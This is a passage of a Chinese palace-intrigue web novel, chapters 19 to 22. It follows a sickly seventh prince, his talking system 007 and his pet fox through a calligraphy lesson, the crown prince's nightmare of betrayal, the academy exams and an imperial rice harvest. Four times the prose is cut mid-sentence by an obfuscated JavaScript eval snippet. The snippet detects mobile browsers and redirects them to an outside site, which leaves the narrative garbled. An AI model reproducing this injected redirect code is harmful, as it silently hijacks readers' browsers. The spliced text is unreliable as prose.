他看着七殿下纯然的眼神,再想到他素日体弱,又身负“祥瑞”之名,连太后都格外青眼……罢了罢了,终究是个孩子,有些奇思妙想也属正常。 赵太傅重重地咳了一声,板着脸道:“习字需专心!旁骛之心不可有!此次……下不为例!将《兰亭集序》前两段抄写五遍,细细体会!” “是,学生谨记太傅教诲。”李常安乖巧地应下,低下头,嘴角几不可查地弯起了一个极小的弧度。 【宿主!你学坏了!你都会装无辜蒙混过关了!】007在他脑子里大呼小叫。【不过干得漂亮!那只狐狸画得真像豆沙!】 一场小小的风波就此消弭。 …… 东宫,太子李常宸批阅完最后一本奏疏,揉了揉发胀的眉心。 自从秋狝回来,他总觉得心神不宁。 麒麟现世护佑七弟的景象太过震撼,而七弟李常安那张苍白安静总是不经意间浮现在他脑海里。 与之伴随的,是一种无法忽视的违和感。 他发现自己偶尔看向李常安时,心头会掠过一丝极快、极淡的,连他自己都捉摸不透的……涩意? 这感觉毫无来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16773906|188600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 由。他与七弟年纪相差颇大,七弟出生时,他已是半大少年,接触本就不多。 加之七弟自幼体弱,深居简出,宁嫔又是个不管事的,兄弟情分实在淡薄。 他为何会对一个几乎算得上是透明的弟弟产生这种情绪? 李常宸甩了甩头,试图将这些纷乱的思绪驱散。 盥洗更衣后,李常宸很快便沉入了睡梦之中。 梦境中,他似乎骑在马上,春风得意马蹄疾,周围是欢呼的人群和属官们钦佩的目光。 他是父皇寄予厚望的太子,文韬武略,众望所归。 可画面陡然一转! 剧烈的疼痛毫无预兆地从左腿袭来! 他甚至能清晰地听到自己骨骼错位的“咔嚓”声,那么清脆,又那么恐怖! “啊——!”他在梦中发出无声的嘶吼。 视线天旋地转,他从奔驰的骏马上重重摔落,尘土混合着青草的气息涌入鼻腔,但更浓郁的是他自己身上散发出的血腥味。 周围瞬间乱成一团,惊呼声、脚步声、马蹄声混杂在一起,嗡嗡作响,听不真切。 疼!钻心的疼!冷汗瞬间浸透了里衣。 “太医!快传太医!”有人在他耳边焦急地呼喊,声音模糊而遥远。 他被匆忙抬回东宫,剧痛让他意识模糊,却又无比清醒地感受着每一分痛苦。 太医署的太医们围着他,面色凝重,低声商议,最终,院判颤抖着声音向他的父皇母后禀报: “殿下……殿下左腿胫骨粉碎性骨折,筋脉受损过重……虽已尽力接续,但……但日后恐怕……会不良于行……” 不良于行! 四个字如同惊雷,炸响在他的耳边,也彻底击碎了他所有的骄傲和未来。 他成了瘸子!一个残疾的太子! 20.第 20 章 巨大的绝望和愤怒如同冰冷的潮水,瞬间将他淹没。 他猛地抓住离他最近的一个太医的衣襟,目眦欲裂,声音因痛苦和暴怒而嘶哑变形: “怎么回事?!那马怎么会突然惊了?!查!给孤彻查!” 梦境画面再次跳跃,变得阴暗而压抑。 他似乎坐在轮椅上,看着属下呈上的调查结果。 所有的证据,明里暗里,都指向了一个他意想不到的人——李常安! 是七弟李常安!是他暗中命人做了手脚,在他的马鞍上动了手脚,才导致他坠马重伤,终身残疾! 为什么?! 他待他不薄啊!虽无特别亲近,但也从未苛待!他为何要如此害他?!是为了太子之位吗? 那个位置,就如此让人疯狂,连兄弟手足都可以轻易残害?! 恨意!如同毒藤般疯狂滋长的恨意,瞬间填满了他的胸腔,挤压掉了他最后一丝理智和温情。 “李、常、安!”他在梦中咬牙切齿地念出这个名字,每一个字都浸透着血泪和深入骨髓的怨毒。 画面又是一转。 他似乎是在一个更加昏暗的地方,像是一座废弃的宫殿,又像是阴冷的刑部大牢。 他站在那里,冷冷地看着前方。 型架上绑着一个人,身形单薄,衣衫褴褛,浑身是血,几乎看不出原本的模样。 但那双眼睛……是李常安! 李常安似乎在说什么,嘴唇翕动。 但他听不见!或者说,他根本不想听! 他心中只有被背叛的怒火和这残破身躯带来的无尽痛苦与屈辱! 他只觉得那辩解的眼神无比刺眼,无比虚伪! “死到临头,还敢狡辩!” 他听见自己冰冷彻骨的声音响起,带着毫不掩饰的厌恶和快意。 “通敌叛国,罪证确凿!李常安,你万死难赎其罪!” 他亲手,将那份最终定罪的、厚厚的卷宗,摔在了对方面前…… 李常宸猛地从榻上弹坐起来,胸口剧烈起伏,大口大口地喘着粗气,额头上布满了冰冷的汗珠,里衣早已被冷汗浸透,紧紧贴在皮肤上,带来一阵阵黏腻的寒意。 他下意识地摸向自己的左腿。 完好无损。 没有剧痛,没有扭曲,骨骼坚实,肌肉有力。 可是……方才那断腿之痛,那锥心刺骨的绝望和愤怒,是如此真实! 真实到仿佛刚刚经历过一般! 还有他对七弟那滔天的恨意……那恨不得将其碎尸万段的狠绝…… 他怎么会做这样的梦? 李常宸扶着额头,手指插入汗湿的发间,心脏仍在疯狂地跳动,撞击着胸腔,发出沉闷的响声。 殿内烛火摇曳,将他的影子拉得忽长忽短,明明灭灭,一如他此刻混乱的心绪。 只是一个梦吗? 可为何那痛苦如此清晰?那恨意如此刻骨? 他怔怔地坐在床上,望着窗外依旧沉沉的夜色,再也无法入睡。 一个荒谬却又让他脊背发凉的念头,如同黑暗中滋生的藤蔓,悄然缠绕上他的心头。 如果……那不只是梦呢? …… 时光如水,悄然流逝,弘文馆年度考校如期而至,依照皇子年龄分作甲乙丙三等。 年仅六岁多的七皇子李常安,自然位列丙等,与六皇子等小豆丁一同在偏殿考试。 丙等考校内容简单,主要是默写《千字文》片段和简单的经义问答。 主持考校的周学士踱步看来,看到李常安那惨不忍睹的字迹,再瞧七皇子那比寻常孩子更显苍白的小脸,心中自然忖道: 七殿下身子骨弱,腕力不足也是常理,能写成这般已是不易,便未苛责。 经义问答时,李常安对答清晰,理解准确,言辞简练却总能切中要害,显出不俗的悟性,让周学士微微颔首。 就在考校临近结束,李常安刚刚答完最后一道题,放下笔稍作歇息时,脚边的豆沙醒了。 小家伙先是探出毛茸茸的小脑袋,打了个大大的哈欠,然后灵活地跳了出来。 它后腿一蹬,竟轻盈地跃上了书案! 然后似乎对主人蘸取墨汁的笔产生了浓厚兴趣。 它歪着头,乌溜溜的眼睛跟着笔尖转动,最后竟伸出小爪子,快如闪电地拍向了蘸满墨汁的笔毫! “啪!” 一点浓墨被拍溅出来,恰好落在了刚刚描好的“捺”画上,瞬间晕开成了一团不小的墨渍。 李常安:“……” 周学士:“……” 记录太监:“……” 豆沙似乎对自己的“杰作”很满意,得意地“嘤”了一声,甩了甩沾了点墨迹的小爪子。 “噗——”负责记录的太监第一个没忍住,笑出了声。 周学士也看得目瞪口呆,随即无奈地摇了摇头。 李常安一脸无奈地抱起豆沙,小狐狸还“嘤嘤”叫着不肯下来,场面一时有些混乱又……好笑。 “罢了罢了,”周学士挥挥手,“殿下先将这……呃,‘豆沙’抱下去吧。考卷……便如此交上即可。” 稍后所有皇子一同参与的算学考校,李常安表现中规中矩,并未引起太多注意。 午后的重头戏在骑射场展开。 年长皇子们演示弓马,年幼的则进行基础步射。 太子李常宸弓马娴熟,一箭射出,稳稳命中靶心,引来一片喝彩。 他勒住马缰,目光却不由自主地多次扫过年幼皇子那边。 李常安敏锐地察觉到一道视线频频落在自己身上。 他抬眼望去,正好对上太子李常宸未来得及移开的目光。 太子的眼神复杂,不像往日那般,让他觉得有些不舒服。 李常安微微蹙眉,心下有些奇怪。 太子今日为何老是看他? 是因为秋狝麒麟的事? 他自认近来并未招惹这位皇兄。 五皇子李常睿一心想要在考校中一雪前耻,显得格外急躁。 轮到他一组上场时,他抢在指令完全发出前就迫不及待地张弓搭箭,想要来个先声夺人。 “看我……”他大喝一声,全力拉满弓弦,却因用力过猛,脚下不稳,一个趔趄! 只听“嘣”的一声闷响,弓弦回弹,竟然狠狠抽打在了他自己的额头上! “哎哟!”李常睿痛呼一声,手一松,那支箭歪歪扭扭地斜射出去,连靶子的边都没摸到,就软绵绵地扎进了不远处的草地里。 而他自己的额头上,瞬间浮现出一道清晰的红痕,火辣辣地疼。 周围瞬间一静,随即爆发出压抑不住的哄笑声。 连一向严肃的赵太傅都忍不住别过脸去,肩膀微微耸动。 李常睿捂着额头,又羞又恼,脸涨得通红,恨不得找个地缝钻进去。 他恶狠狠地瞪向那些发笑的伴读和宫人。 “肃静!”赵太傅勉强压下笑意,维持秩序。 “五殿下,考校需沉着,心浮气躁乃大忌。下一组准备!” 轮到李常安步射时,他拿起小巧的弓,纤细的手指因用力而微微泛白 他努力做出标准的姿势,瞄准,可射出的小箭软绵绵的,划出歪扭弧线,离靶数丈便力竭落地,显得十分滑稽。 周围响起几声压抑的低笑。 李常安平静地放下弓,脸上没什么表情。这具身体太弱,武艺不精是事实,他并不在意这些嘲笑。 他默默退到一旁,抱起脚边正在追自己尾巴玩的豆沙,将脸轻轻埋在温暖的皮毛里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16784494|188600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就在这时,场内传来整齐的叩拜:“参见陛下!” 皇帝一身玄色骑射服,龙行虎步而来,朗声笑道:“朕来得正好!方才远远瞧见儿郎们英姿勃发,朕心甚慰!” 他目光扫过在场皇子,在太子脸上微顿,最后落在抱着狐狸的幼子身上,语气威严中带着勉励: “文武之道,一张一弛。文能安邦,武可定国。尔等既享天家荣光,便当以身许国。今日考校,非为争一时长短,而是要你们明白,强健体魄、精进武艺,与熟读诗书同等重要!” 说罢,他翻身上马,接过侍从递上的铁胎弓。 那弓比骑射师傅用的都重上许多,在他手中却轻若无物。 “光射死物有何趣味?”皇帝豪迈一笑,“放鸟!” 内侍立刻打开笼子,十余只麻雀扑棱棱飞向天空。 但见皇帝策马奔驰,弓如满月。 嗖嗖破空声接连响起,一支支羽箭离弦而去,天空中顿时飘下数团羽毛——竟是一箭双雀! 不过眨眼工夫,十余只麻雀悉数落地,每箭皆精准无比。 全场寂静,随即爆发出震天喝彩。 皇帝意犹未尽,又点名三位以勇力著称的武学师傅:“一起来!” 四人当即在场上角力。但见皇帝身形矫健,出手如电。 不过三五回合,三位壮硕的师傅竟接连被他摔倒在地,而皇帝大气都不曾多喘一口。 “好!!”喝彩声几乎掀翻校场顶棚。 皇帝朗声大笑,目光再次扫过众皇子,尤其在太子凝重的脸上顿了顿,最后温声对众人勉励道:“诸位要好生练习 。” 圣驾离去后,骑射场顿时沸腾。 众人都在激动地议论着陛下方才展现的神乎其技的骑射功夫。 陛下惊人的膂力,无不令人心驰往。 年轻伴读们个个面色潮红,恨不得立刻加倍练习,以期将来能有陛下万分之一的英武。 然而在这片热烈的气氛中,太子李常宸却显得有些格格不入。 他独自立于场边,望着父皇离去的方向,掌心因用力握紧而微微泛白。 方才父皇那意有所指的目光,如同无形的鞭子抽打在他心上,父皇无形的期许,让他感到烦闷。 他不由自主地再次将目光投向小七。 李常安正被六皇子李常远缠着说话。 “七弟七弟!父皇太厉害了!你看见了吗?一箭双雀!父皇竟然也这么强!我还是第一次看到。” 李常远兴奋得小脸通红,比划着摔跤的动作,差点打到旁边的伴读石磊。 李常安被他的热情感染,唇角微微上扬,轻轻“嗯”了一声,下意识将怀里的豆沙抱紧了些。 豆沙似乎不喜欢被勒得太紧,不满地“嘤咛”一声,扭了扭身子。 “皇兄。”四皇子李常轩不知何时走到太子身边,他同样神情肃穆,低声道,“父皇今日……似有深意。” 太子猛地回神,收敛了外泄的情绪,恢复了一贯的沉稳:“父皇文韬武略,自是望我等勤勉不辍,不负江山重托。” 他顿了顿,目光扫过在场众人,最终落在被伴读和弟弟围着的李常安身上,语气平淡无波:“回宫吧。” 随着太子率先离去,考校终于落下帷幕。 回长春宫的路上,苏文瑾依旧难掩兴奋,与六皇子的伴读赵明义热烈讨论着皇帝的身手。 李常安却有些沉默。 【宿主,你怎么啦?考校结束了还不开心?】007感知到他的情绪,出声询问。 “太子今日,很不对劲。”李常安在心中回应。 【可能是因为没睡好?我看他眼圈都是黑的。】007猜测道。 【宿主你别多想啦!有我在,我会保护好你的。】 李常安没有回答。 21.第 21 章 金秋十月,天高云淡,正是收获的季节。今年风调雨顺,四海升平,粮食产量创下新高。 龙心大悦的皇帝李弘在早朝之上,面对满殿恭贺,颁布了一道旨意: “朕躬耕籍田,以示重农。今岁丰收,乃上天庇佑,万民辛劳之功。朕意已决,三日后,率文武重臣、皇子及宗室子弟,亲往京郊皇庄,参与秋收,体察农桑之艰,共享丰收之喜!” 消息传到后宫,自然也引起了不小的波澜。 长春宫内,李常安正靠在窗边,看着豆沙追着一片飘落的梧桐叶扑腾。 苏文瑾一边逗弄豆沙,一边兴奋地说着听来的消息:“殿下,听说京郊皇庄的稻子金灿灿的一片,望都望不到边呢!皇上要带大家一起去收稻子,这可是头一遭!” 【秋收!宿主!是秋收诶!金黄的麦浪!沉甸甸的稻穗!】 007在他脑子里播放欢快的田园交响曲,【我们可以去体验生活了!呼吸田野的新鲜空气!说不定还能烤红薯!】 李常安懒洋洋地掀了掀眼皮,兴致缺缺。 “晒太阳,流汗,弄脏衣服。”他总结道,顺手捞起扑到腿边的豆沙。 【哎呀宿主!不能不去啊!皇命难违!而且多有意思啊!你看豆沙都想去!】007看着在李常安怀里扭来扭去的小狐狸,强行代表。 豆沙茫然地抬头:“嘤?” 之后,太后听闻此事,还特意让人送来了几套用料舒适的窄袖常服。 三日后,天刚蒙蒙亮,庞大的皇家仪仗便浩浩荡荡地出了京城,前往京郊皇庄。 车内,李常安靠着软垫,依旧没什么精神,起得太早,他有些恹恹的。 豆沙倒是很兴奋,扒着车窗,透过缝隙好奇地看着外面飞速后退的景物,小鼻子一动一动地嗅着空气中越来越浓郁的田野气息。 【宿主快看!稻田!好多好多稻田!哇!好壮观!】007像个第一次春游的小孩子,大呼小叫。 李常安勉强抬眼望去。 只见车驾已驶入京郊地界,道路两旁,一望无际的稻田如同金色的海洋,秋风吹过,沉甸甸的稻穗层层起伏,形成壮丽的波浪,沙沙作响。 抵达皇庄时,庄头早已率领众多农户跪迎圣驾。 皇帝心情极好,免了繁琐礼仪,大手一挥:“今日朕与诸卿,皆是田间农人,不必拘礼!各自寻了趁手的工具,开始吧!” 他特意看向一众皇子,“尔等年长者,皆需下田劳作,不得懈怠!” 一时间,田埂上热闹起来。皇子们、宗室子弟和年轻官员们,大多锦衣华服,此刻却要拿起陌生的农具,场面不免有些滑稽。 此言一出,太子、二皇子、三皇子、四皇子、五皇子等人面色各异,却无人敢违逆。 皇帝见皇子们均已下田,满意地点点头,自己也挽起袖子,拿起镰刀,率先割下第一把稻谷,姿态娴熟,引得周围一片赞叹。 随后,他将镰刀交给侍从,对众臣道:“诸位爱卿自便,朕去那边看看。” 便在王公公陪同下,走向田庄高处,俯瞰全局。 一时间,田埂上热闹非凡。 平日里养尊处优的皇亲贵胄、朝廷大员们,此刻笨拙地挥舞镰刀,场面颇有些滑稽。汗水很快浸湿了华贵的衣料,腰酸背痛之感阵阵袭来。 唯有五皇子李常睿,脸上明显带着不情愿,嘴里小声嘟囔着“脏死了”、“累死了”,动作也磨磨蹭蹭。 但在太子偶尔扫过来的目光以及周围宗室子弟都在努力的氛围下,他也不敢真的偷懒,只得苦着脸,一边抱怨一边慢吞吞地挥舞镰刀,那副心不甘情不愿又不得不做的表情,引得他身后的伴读想笑又不敢笑。 就在这时,一阵争吵声吸引了众人注意。 “张大人!你割过界了!这分明是该由我户部负责的区域!”户部尚书李德明,一个精干的中年人,指着工部尚书张宏远喊道。 张宏远是个身材微胖、面色红润的官员,此刻毫不示弱,挥舞着镰刀:“李大人此言差矣!陛下只说尽力收割,何来划界一说?你瞧我这边的稻穗更沉,顺手多割一些有何不可?莫非李大人嫌累,想少干些?” “你……你胡搅蛮缠!”李德明气得胡子翘起,“分明是你想抢功!谁不知今年粮税增收,你工部看着眼热!” “李德明!你休要以小人之心度君子之腹!” 两位一品大员,竟像孩童般在田埂上为了几行稻谷争执起来,引得周围官员面面相觑,想笑又不敢笑。 最后还是太子李常宸看不过去,上前温声劝解:“两位大人息怒,秋收乃喜事,当同心协力。不若以此田埂为界,各自尽力便是。” 太子发话,两人这才悻悻作罢,互相瞪了一眼,埋头继续割稻,只是动作间依旧带着较劲的意味。 【宿主宿主!快看!两个白胡子老头吵架!像不像抢糖豆的小孩?】007在李常安脑子里乐不可支。 年纪较小的六皇子李常远和七皇子李常安,被安排了相对轻松的活计——在看守晾晒稻谷的空地旁做些轻省事。 在一片铺着干净竹席的巨大空地上,金黄的稻谷堆积如山。 李常远觉得新奇极了,脱了鞋袜就要往稻谷堆里踩,被他的伴读石磊和惠妃派来的嬷嬷赶紧拉住。 “殿下,使不得!这稻谷要晾晒,不能踩实了!”嬷嬷急道。 【宿主,我们就坐在这里看鸟吗?好无聊啊,我们也去玩嘛!】007怂恿道。 李常安没理它,目光落在几个农户家的孩子上。 几个农户家的孩子正在用新收的稻草编小玩意儿,灵巧的手指翻飞间,栩栩如生的蚱蜢、小鸟便出现在掌心。 六皇子李常远很快被吸引了过去,眼巴巴地看着。 一个胆子大些的男孩,见他衣着华贵却没什么架子,便笑嘻嘻地递给他一只编好的草蚱蜢:“给你玩!” 李常远高兴坏了,宝贝似的捧在手里。 李常安看着六皇兄那傻乎乎的笑容,安静地坐在树荫下的矮凳上,怀里抱着豆沙,美其名曰“驱赶鸟雀”。 这时,负责教导皇子们农事的老农,抱着一捆金黄的稻草走了过来,恭敬地对李常安行了个礼: “七殿下,若觉无趣,不如用这稻草编些小玩意儿?老汉可以教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791725|188600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您。” 李常安犹豫了一下,轻轻点了点头。 老农憨厚地笑了,熟练地抽了几根稻草,开始演示如何编织。 李常安学得很认真,他手指纤细,虽然力气不足,但耐心极好,模仿着老农的动作。 豆沙也安静下来,蹲在他脚边,乌溜溜的眼睛好奇地盯着那。 过了许久,李常安终于完成了一个歪歪扭扭、但依稀能看出是只小动物的东西。 【宿主!这是什么?四不像吗?】007毫不客气地吐槽。 李常安看着手里那个丑丑的稻草团,也没有生气。他沉默了片刻,将它递到豆沙面前。 豆沙凑近嗅了嗅,稻草的清香似乎很合它胃口,它伸出小爪子扒拉了一下,然后张开嘴,啊呜一口咬住,开始磨牙。 李常安:“……”看来他失败了。 老农连忙道:“殿下初次尝试,已是不易!” 就在李常安看着豆沙啃稻草团时,一道明黄色的身影不知何时来到了近前。 “常安。” 李常安闻声抬头,见是去而复返的皇帝,连忙起身要行礼。 “免了。”皇帝心情似乎依旧不错,目光落在他手里那个被啃得乱七八糟的稻草团和正抱着团子磨牙的豆沙身上,脸上露出一丝笑意,“这是在做什么?” “回父皇,儿臣在学编草编。”李常安低声道。 皇帝看了看不远处空地上堆积如山的稻谷,又看了看眼前小七,忽然心血来潮。 他弯腰,一把将李常安抱了起来! 李常安猝不及防,轻呼一声,手里的稻草团掉在地上,豆沙也“嘤”地一下跳开,警惕地看着皇帝。 “走,朕带你去看看真正的丰收。” 皇帝朗声一笑,抱着他走向田边一棵大树下,那里拴着一头刚卸下犁具、正在悠闲吃草的大水牛。 皇帝竟直接将李常安放到了宽厚温顺的牛背上! “啊!”李常安低呼,小手下意识地抓住了牛背上粗糙的毛发。 牛背很高,视野骤然开阔,金色的稻田、忙碌的人群尽收眼底。 微风拂面,带着稻香,这种感觉……很新奇。 他有些紧张,又有些莫名的兴奋。 皇帝看着幼子因为惊讶而睁大的眼睛,不由得哈哈大笑,伸手轻轻拍了拍他的后背:“怕不怕?坐稳了!” 他又捡起地上几根干净的稻草,三两下便编了只小巧精致的蚂蚱,塞到李常安手里:“这个比你那个结实,拿着玩。” 李常安握着那只栩栩如生的草蚂蚱,坐在晃晃悠悠的牛背上,看着下方仰头望着他的父皇,一时有些怔忡。 这样的父皇,与他记忆中的形象,相差甚远。 这一幕,自然也落入了不远处正在田里挥汗如雨的众皇子眼中。 太子李常宸直起腰,擦汗的动作微微一顿,看着牛背上那抹纤细的身影和旁边开怀的父皇,眼神复杂难辨。 大皇子李常川停下镰刀,手微微握紧。 五皇子李常睿更是嫉妒得差点把手里的镰刀扔了,低声抱怨:“凭什么他就能坐在牛背上玩!” 22.第 22 章 持续的弯腰收割让不少养尊处优的皇亲贵胄们开始显露出疲态。 “哎哟,我的胳膊……” 五皇子李常睿夸张地揉着手臂,对着身旁的伴读抱怨,“这要割到什么时候才是个头啊?本王的胳膊都快抬不起来了。” 他的伴读小心翼翼地赔笑:“殿下再坚持坚持,听说午膳快准备好了。” 另一边,太子李常宸的状况更令人担忧。 他脖颈和手背上出现了红疹,并且在汗水的浸润下愈发明显,有些地方甚至被抓破了皮,渗出细小的血珠。 四皇子李常轩注意到太子的不适,靠近低声道:“皇兄,不如去树荫下歇息片刻?您的脸色很不好。” 太子固执地摇头,声音因不适而有些沙哑:“不必。父皇尚且亲自劳作,我身为太子,岂能因区区小恙退缩。” 然而话音刚落,他又忍不住伸手去抓挠颈部的红疹。 李常安则依旧待在晾谷场边的树荫下,这里相对凉爽,但他也能感受到空气中弥漫的燥热。 豆沙早就热得受不了,趴在他脚边吐着粉嫩的小舌头直喘气,连追田鼠的兴致都没了。 而皇帝依然在田埂间巡视,不时停下与老农交谈,接过镰刀亲自示范,身姿在烈日下不见丝毫倦怠。 当时近正午,皇帝终于下令休息。 让人意外的是,他竟命人在打谷场边设下长桌,要与众人同食农家饭。 “今日不论尊卑,都来尝尝这田间滋味!”皇帝率先在长桌主位坐下,毫不在意地拍了拍身旁的草垫。 这随和的举动让原本拘谨的气氛顿时活跃起来。 很快,简单的农家菜肴被端上桌:新米熬的浓粥散发着清香,刚摘的青菜只用清水焯过,保留了原味,还有几碟农户自家腌制的酱菜。最引人注目的是庄头带着几个农户在场地一角升起的火堆,上面烤着十几个硕大的地瓜,焦香四溢。 “陛下,这是庄子上自己种的红薯,甜得很!”庄头憨厚地笑着,用长长的木棍熟练地翻动着炭火中的地瓜。 五皇子李常睿第一个坐不住,凑到火堆旁直咽口水:“什么时候能好?本……我都饿坏了!” “快了快了,殿下稍等。”庄头擦擦额角的汗,脸上洋溢着收获的喜悦。 “今年天公作美,风调雨顺,咱们这皇庄的收成比往年足足多了三成。托陛下的洪福,庄户们今年都能过个肥年。” 他顿了顿,像是想起什么,语气稍微低沉了些,“只盼着边关安稳……听说草原上今年夏天旱得厉害,草场长得不好,牛羊都掉了膘。眼看冬天就要来了,那些饿慌了眼的草原狼崽子,怕是不会安分……” 庄头这话本是无心的感慨,听在李常安耳中却让他正准备接过地瓜的动作微微一顿。 他纤长的睫毛轻轻颤动,前世的记忆悄然浮现。是了,差不多就是今年冬天,北境开始不太平,边境摩擦增多,军粮供应逐渐吃紧。 明年开春后,父皇就会…… “好了好了!”庄头欢快的声音打断了他的思绪。 只见他用木棍灵巧地拨出几个烤得恰到好处的地瓜,外皮焦黑,但裂开处露出金红诱人的瓜瓤,浓郁的甜香顿时弥漫开来,勾得人食指大动。 “给我一个!” “我也要!” 年幼的皇子宗室们顿时忘了矜持,一拥而上。 李常睿抢得最快,却被烫得直甩手,地瓜在两手间颠来倒去,滑稽的模样引得众人哄笑。 六皇子李常远小心翼翼地捧着地瓜,学着旁边农户孩子的样子,笨拙地掰开,金黄的瓤冒着腾腾热气,他迫不及待地咬了一小口,立刻被烫得直吐舌头,却还含糊不清地嚷着:“好甜!比宫里的饴糖还好吃!” 李常安也分到了半个。他慢慢剥开焦黑酥脆的外皮,露出里面热乎乎、金灿灿的瓜瓤。 豆沙闻到香味,急得在他脚边直打转,用毛茸茸的脑袋蹭他的小腿,“嘤嘤”地叫着,黑亮的眼睛里满是渴望。 “馋鬼。”李常安小心地掰下一小块瓜瓤,放在嘴边仔细吹凉,才递到豆沙面前。 小狐狸立刻用两只前爪抱住,叼到一边,小口小口地吃了起来,满足地眯起眼睛,火红蓬松的尾巴尖愉快地左右摇晃。 【宿主,这个好香!能量扫描显示富含碳水化合物和微量元素!能不能再要一个?给我也尝尝味道嘛!】007在他脑子里嚷嚷,模拟出吸口水的声音。 “你能吃?”李常安疑惑道。 007瞬间哭唧唧地用爪子捂住脸:“不能。” 皇帝看着孩子们吃得香甜,自己也笑着掰了一块,对侍立在旁的庄头道:“你这地瓜烤得不错,火候恰到好处。” 庄头受宠若惊,搓着手连连躬身:“谢陛下夸奖!这都是托陛下的福气……” 饱餐之后,稍事休息,日头却更加毒辣。 下午的收割工作,明显大家不如上午那般卖力。 饱食带来的困倦,加上累积的疲劳,让效率大打折扣。 五皇子李常睿是第一个偷懒的。 他先是借口喝水,在田埂上磨蹭了许久,后来干脆躲到一棵枝叶茂盛的槐树荫下,假装帮统计的官吏数起了稻谷。 他的伴读苦着脸在一旁望风,急得额头冒汗。 “殿下,您快些起来吧,待会皇上过来了……” “急什么?”李常睿懒洋洋地靠着树干,闭着眼睛。 “本王……我这是战略性休息,保存体力。再说了,我感觉有点中暑,头晕得很……” 四皇子李常轩虽然还在坚持,但动作明显也慢了许多,长长地喘着气。 大皇子李常川额上密布的汗珠,以及微微发颤的手臂,看来状况也不太好。 而太子的状况最为糟糕。过敏带来的瘙痒在午后闷热的环境下变得更加难忍,汗水不断流下,浸湿了脖颈和手臂上那些红肿的疹子,带来一阵阵刺痛和更剧烈的痒意。 他强撑着挥动镰刀,手臂僵硬,有几次甚至差点割到自己的腿,看得旁边的侍卫心惊胆战。 皇帝巡视过来时,看到的就是这样一幕,脸色迅速沉了下来。 “都停下!” 众人慌忙放下手中的农具,垂手侍立,连躲在树荫下的李常睿也连滚爬爬地跑了回来,低着脑袋不敢出声。 皇帝迈步,率先走到太子面前,目光落在他红肿不堪的脖颈,眉头紧紧锁起:“朕让你督导,不是让你这般逞强。” 太子的脸瞬间涨得通红,汗水沿着鬓角滑落:“儿臣……儿臣只是想……” 他想说自己不想搞特殊,想以身作则,但在父皇锐利的目光下,这些话都堵在了喉咙里。 “想什么?”皇帝打断他,语气严厉,“想证明你不比兄弟们差?你是一国储君,这点事都安排不好吗?” 这话说得极重,太子的脸色顿时由红转白,嘴唇翕动了几下,却发不出声音。 “儿臣知错……” 皇帝带着失望,“你身为兄长,不知量力而行;身为储君,不懂从谏如流,权衡利弊。你这般不顾身体的逞强,若是伤了自己,岂不是更耽误正事?” 皇帝的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797608|188600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目光又转向其他皇子,缓缓扫过他们心虚的脸庞:“还有你们,一个个无精打采,敷衍了事!方才吃地瓜时的劲头都到哪里去了?真当朕带你们出来是游山玩水吗?!” 所有人都噤若寒蝉,连最跳脱的五皇子都缩着脖子,大气不敢出。田间只剩下风吹稻浪的沙沙声。 “太医,”皇帝转头吩咐,“给太子看看,上点药。其余人,继续干活!日落前,你们这片田必须收完!其他人不许帮忙。” 有了皇帝的严令和方才的训斥,接下来的劳作无人再敢懈怠。 就连身体不适的太子,在太医简单处理了红疹后,也坚持留在田埂边认真督导,不过不再勉强下田。 李常安看着这一幕,心中明了。 父皇的斥责并非真的要打击太子,而是要敲打所有生了怠惰之心的皇子。 庄头在一旁看着,小声对旁边的老农感叹:“皇上治家,也跟治军一样严哪……” 那老农咧开嘴,露出被烟熏黄的牙齿:“严点好,严点好……才知道粮食来得不易。咱们庄户人就怕懒筋一抽,地就荒了。” 在夕阳完全沉入地平线之前,最后一片稻田终于收割完毕。金灿灿的稻谷堆满了打谷场,空气中弥漫着浓郁的稻香。 皇帝看着成果,脸上终于露出了满意的笑容:“收工,回宫!” 秋收队伍在暮色中返回皇宫,与去时相比,队伍明显安静了许多。 